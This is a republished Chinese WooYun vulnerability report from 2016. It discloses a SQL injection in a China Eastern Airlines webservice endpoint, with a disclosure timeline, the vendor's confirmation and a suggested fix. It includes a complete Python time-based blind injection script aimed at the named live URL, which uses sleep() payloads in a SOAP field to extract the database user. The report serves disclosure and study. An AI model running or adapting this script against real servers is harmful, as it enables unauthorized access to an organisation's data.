航空安全之东方航空某站webservice接口SQL注入(附脚本)

admin 2017年3月30日17:18:53评论287 views字数 239阅读0分47秒阅读模式
摘要

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

漏洞概要 关注数(12) 关注此漏洞

缺陷编号: WooYun-2016-188393

漏洞标题: 航空安全之东方航空某站webservice接口SQL注入(附脚本)

相关厂商: 中国东方航空股份有限公司

漏洞作者: LoveSnow

提交时间: 2016-03-24 00:13

公开时间: 2016-05-08 08:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: sql注射漏洞利用技巧

3人收藏


漏洞详情

披露状态:

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

简要描述:

航空安全之东方航空某站webservice接口SQL注入

详细说明:

url:http://xs.ceair.com/

航空安全之东方航空某站webservice接口SQL注入(附脚本)

发现了通信接口:http://xs.ceair.com/webservice/esbmessage.php

航空安全之东方航空某站webservice接口SQL注入(附脚本)

测试脚本

code 区域
# -*- coding: utf-8 -*-
import time
import requests

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
'Content-Type': 'application/xml'}

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.-'

user = ''
stop = 0
for i in range(1, 34):
for payload in payloads:
xml = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">/r/n <soapenv:Header/>/r/n <soapenv:Body>/r/n <web:updateState soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">/r/n <guid xsi:type="xsd:string">1'+concat("'",(select 0 from (select sleep(if(substring(lower(user()),%s,1)=char(%s),5,0)))v))+'</guid>/r/n <state xsi:type="xsd:int">1</state>/r/n <to xsi:type="xsd:string"></to>/r/n </web:updateState>/r/n </soapenv:Body>/r/n</soapenv:Envelope>""" % (i, ord(payload))

url = 'http://xs.ceair.com/webservice/esbmessage.php'
try:
start_time = time.time()
req = requests.post(url, data=xml, headers=headers, verify=False, timeout=6)
if req.status_code == 200 and time.time() - start_time > 5:
user += payload
print '/n[in progress]', user,
break
if payload == '-':
stop = 1
except:
pass
if stop:
break
print '/n[Done] MySQL user is %s' % user

MySQL user is

航空安全之东方航空某站webservice接口SQL注入(附脚本)

漏洞证明:

修复方案:

对webservice接口做限制或是删除

版权声明:转载请注明来源 LoveSnow@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-24 08:30

厂商回复:

十分感谢!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin